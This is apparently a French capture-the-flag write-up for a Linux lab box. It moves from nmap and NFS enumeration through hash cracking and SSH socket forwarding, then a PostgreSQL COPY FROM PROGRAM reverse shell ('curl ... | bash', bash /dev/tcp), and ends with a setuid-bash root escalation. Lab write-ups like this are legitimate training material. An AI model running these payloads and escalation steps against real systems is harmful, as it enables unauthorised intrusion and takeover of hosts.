
OS | Difficulty | Target |
---|---|---|
Linux | Medium | 10.10.76.8 |
🔭 Enumeration
nmap 10.10.76.8
Starting Nmap 7.93 ( https://nmap.org ) at 2025-04-02 13:21 CEST
Nmap scan report for 10.10.76.8
Host is up (0.018s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
2049/tcp open nfs
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
nmap -sC -sV 10.10.76.8
Starting Nmap 7.93 ( https://nmap.org ) at 2025-04-02 13:24 CEST
Nmap scan report for 10.10.76.8
Host is up (0.015s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d8d0a43a75820736b8cfcb0d12f4507 (ECDSA)
|_ 256 82fb90b0ebac20a2535e3c7cd33c3479 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 32999/tcp6 mountd
| 100005 1,2,3 38435/tcp mountd
| 100005 1,2,3 39911/udp mountd
| 100005 1,2,3 58324/udp6 mountd
| 100021 1,3,4 35680/udp nlockmgr
| 100021 1,3,4 40059/tcp6 nlockmgr
| 100021 1,3,4 41181/tcp nlockmgr
| 100021 1,3,4 41859/udp6 nlockmgr
| 100024 1 40186/udp status
| 100024 1 47815/tcp6 status
| 100024 1 47972/udp6 status
| 100024 1 55953/tcp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.85 seconds
PORT | SERVICE |
---|---|
22 | SSH |
111 | RPCBIND |
2049 | NFS_ACL |
Le port 2049 utilise NFS. C’est un protocole de système de fichiers distribué qui permet aux utilisateurs d’accéder aux fichiers et de les partager entre les systèmes sur un réseau. Il est possible de voir le contenu en utilisant la commande: showmount -e $TARGET
, $TARGET étant l’IP de la cible. Nous allons créer un dossier Slonik
et monter le dossier partagé.
sudo mkdir slonik && sudo mount -t nfs 10.10.76.8: ./slonik
~/slonik 13:29:00
❯ tree -l
.
├── home
│ └── service [error opening dir]
└── var
└── backups
├── archive-2025-04-02T1123.zip
├── archive-2025-04-02T1124.zip
├── archive-2025-04-02T1125.zip
├── archive-2025-04-02T1126.zip
├── archive-2025-04-02T1127.zip
├── archive-2025-04-02T1128.zip
└── ziz7eYmh
5 directories, 7 files
~/slonik/home 13:28:16
❯ ls -la
rwxr-xr-x 3 root root 4 KiB Tue Oct 24 15:03:30 2023 ./
rwxr-xr-x 19 root root 4 KiB Wed Apr 2 13:08:37 2025 ../
rwxr-x--- 5 1337 1337 4 KiB Tue Oct 24 15:05:00 2023 service/
On peut y voir le dossier service
et backups
. L’accès étant refusé, on observe cependant que le dossier appartient à l’user 1337
et qu’il en possède les droits. Nous créons un utilisateur sur notre hôte pour y accéder (Impersonation).
sudo adduser --badname 1337
sudo usermod -u 1337 1337
sudo passwd 1337
su - 1337
Nous pouvons désormais naviguer dans le dossier service.
$ ls -lah service/
total 40K
drwxr-x--- 5 1337 1337 4,0K oct. 24 2023 .
drwxr-xr-x 3 root root 4,0K oct. 24 2023 ..
-rw-rw-r-- 1 1337 1337 90 oct. 24 2023 .bash_history
-rw-r--r-- 1 1337 1337 220 oct. 24 2023 .bash_logout
-rw-r--r-- 1 1337 1337 3,7K oct. 24 2023 .bashrc
drwx------ 2 1337 1337 4,0K oct. 24 2023 .cache
drwxrwxr-x 3 1337 1337 4,0K oct. 24 2023 .local
-rw-r--r-- 1 1337 1337 807 oct. 24 2023 .profile
-rw------- 1 1337 1337 326 oct. 24 2023 .psql_history
drwxrwxr-x 2 1337 1337 4,0K oct. 24 2023 .ssh
$ cat service/.bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
$ cat service/.psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', '<REDACTED>'WHERE', network access account');
select * from users;
\q
Plusieurs choses intéressantes dans les fichiers .bash_history
et .psql_history
. Le premier indique un fichier .s.PSQL.5432
qui est un fichier de socket Unix utilisé par PostgreSQL pour gérer les connexions locales sur le port 5432, suivi d’une commande de connexion à la base de donnée. Le second nous donne l’historique de PostgreSQL
et la création d’un utilisateur service
suivi d’un hash.
Nous récupérons le hash puis le passons dans John The Ripper
. Il est également possible d’utilisé https://crackstation.net.
john hash --format=Raw-MD5
Le mot de passe est récupéré, tentons une connexion SSH.
👣 Foothold
ssh service@10.10.76.8
La connexion se termine instantanément après avoir saisi le mot de passe. Vous vous rappelez du fichier .s.PGSQL.5432
mentionné dans la section précédente? C’est là que les choses deviennent intéressantes. Après lecture et quelques recherches dans la documentation de PostgreSQL
Il est possible de paramétré la connexion en localforward
grâce au Socket UNIX (Article Medium).
ssh -N -L /tmp/.s.PGSQL.5435:/var/run/postgresql/.s.PGSQL.5432 service@10.10.76.8
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@10.10.76.8) Password:
A ce moment, on se demande si le mot de passe est bon, où si la box à un problème. Finalement, on ouvre un autre terminal puis on saisit la commande suivante:
psql -h /tmp -U postgres -p 5435
psql (15.8 (Debian 15.8-0+deb12u1), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
Type "help" for help.
postgres=# \list
List of databases
Name | Owner | Encoding | Collate | Ctype | ICU Locale | Locale Provider | Access privileges
-----------+----------+----------+---------+---------+------------+-----------------+-----------------------
postgres | postgres | UTF8 | C.UTF-8 | C.UTF-8 | | libc |
service | postgres | UTF8 | C.UTF-8 | C.UTF-8 | | libc |
template0 | postgres | UTF8 | C.UTF-8 | C.UTF-8 | | libc | =c/postgres +
| | | | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | C.UTF-8 | C.UTF-8 | | libc | =c/postgres +
| | | | | | | postgres=CTc/postgres
(4 rows)
postgres=#
Pas grand chose dans la base en tant que postgres
, toujours à la recherche d’informations et de connaissances, nous dénichons cet article Medium
et Hacktricks
permettant d’obtenir un RCE suite à l’intégration de COPY TO / FROM PROGRAM
. Préparons notre reverse shell.
#!/bin/bash
bash -i >& /dev/tcp/10.8.0.147/443 0>&1
Mettons en écoute sur le port 443 et lançons la commande python -m http.server
dans le répertoire du reverse shell.
nc -lvnp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.76.8.
Ncat: Connection from 10.10.76.8:39374.
bash: cannot set terminal process group (3327): Inappropriate ioctl for device
bash: no job control in this shell
postgres@slonik:/var/lib/postgresql/14/main$
Pour récupérer le fichier et l’exécuter, nous devons créer une table cmd exec(cmd_output text)
utiliser COPY/FROM PROGRAM
et ensuite SELECT
pour lancer la commande.
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl http://10.8.3.147/rev | bash';
SELECT * FROM cmd_exec;
🎯 Privilege Escalation
Le reverse shell obtenu, nous décidons d’importer et d’exécuter PSPY64
. Cet outil permet d’observer les process, les cron jobs, les commandes utilisateurs etc. Véritable atout pour voir un peu les failles potentielles des systèmes linux.
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
[...]
2025/02/04 13:02:02 CMD: UID=0 PID=1197 | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
2025/02/04 13:02:02 CMD: UID=115 PID=1196 | postgres: 14/main: walsender postgres [local] streaming 0/760000D8
2025/02/04 13:02:02 CMD: UID=0 PID=1198 |
2025/02/04 13:02:02 CMD: UID=0 PID=1199 | /bin/bash /usr/bin/backup
2025/02/04 13:02:03 CMD: UID=0 PID=1202 | /bin/bash /usr/bin/backup
2025/02/04 13:02:03 CMD: UID=0 PID=1201 | /bin/bash /usr/bin/backup
2025/02/04 13:02:03 CMD: UID=0 PID=1200 | /bin/bash /usr/bin/backup
Vous pouvez constater que /usr/bin/backup
revient fréquemment. Jetons un oeil au script.
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi
Nous pouvons voir que le script créer un backup du dossier /var/backups/
et met le tout dans /opt/backup/current
. Nous décidons simplement de copier /bin/bash
dans le dossier ~/14/main
en lui attribuant les droits nécessaires sans oublier le setuid bit
root, puis d’exécuter la commande /opt/backups/current/pwn -p
pour obtenir les droits root.
postgres@slonik:/var/lib/postgresql/14/main$ cp /bin/bash pwn && chmod 777 pwn && chmod u+s pwn
postgres@slonik:/var/lib/postgresql/14/main$ ls -lah /opt/backups/current
total 1.6M
drwxr-xr-x 19 root root 4.0K Apr 2 13:12 .
drwxr-xr-x 3 root root 4.0K Oct 23 2023 ..
-rw------- 1 root root 3 Apr 2 13:12 PG_VERSION
-rw------- 1 root root 227 Apr 2 13:12 backup_label
-rw------- 1 root root 177K Apr 2 13:12 backup_manifest
drwx------ 6 root root 4.0K Apr 2 13:12 base
drwx------ 2 root root 4.0K Apr 2 13:12 global
drwx------ 2 root root 4.0K Apr 2 13:12 pg_commit_ts
drwx------ 2 root root 4.0K Apr 2 13:12 pg_dynshmem
drwx------ 4 root root 4.0K Apr 2 13:12 pg_logical
drwx------ 4 root root 4.0K Apr 2 13:12 pg_multixact
drwx------ 2 root root 4.0K Apr 2 13:12 pg_notify
drwx------ 2 root root 4.0K Apr 2 13:12 pg_replslot
drwx------ 2 root root 4.0K Apr 2 13:12 pg_serial
drwx------ 2 root root 4.0K Apr 2 13:12 pg_snapshots
drwx------ 2 root root 4.0K Apr 2 13:12 pg_stat
drwx------ 2 root root 4.0K Apr 2 13:12 pg_stat_tmp
drwx------ 2 root root 4.0K Apr 2 13:12 pg_subtrans
drwx------ 2 root root 4.0K Apr 2 13:12 pg_tblspc
drwx------ 2 root root 4.0K Apr 2 13:12 pg_twophase
drwx------ 3 root root 4.0K Apr 2 13:12 pg_wal
drwx------ 2 root root 4.0K Apr 2 13:12 pg_xact
-rw------- 1 root root 88 Apr 2 13:12 postgresql.auto.conf
-rwsrwxrwx 1 root root 1.4M Apr 2 13:12 pwn
postgres@slonik:/var/lib/postgresql/14/main$ /opt/backups/current/pwn -p
pwn-5.1# id
uid=115(postgres) gid=123(postgres) euid=0(root) groups=123(postgres),122(ssl-cert)
pwn-5.1# cat /root/root.txt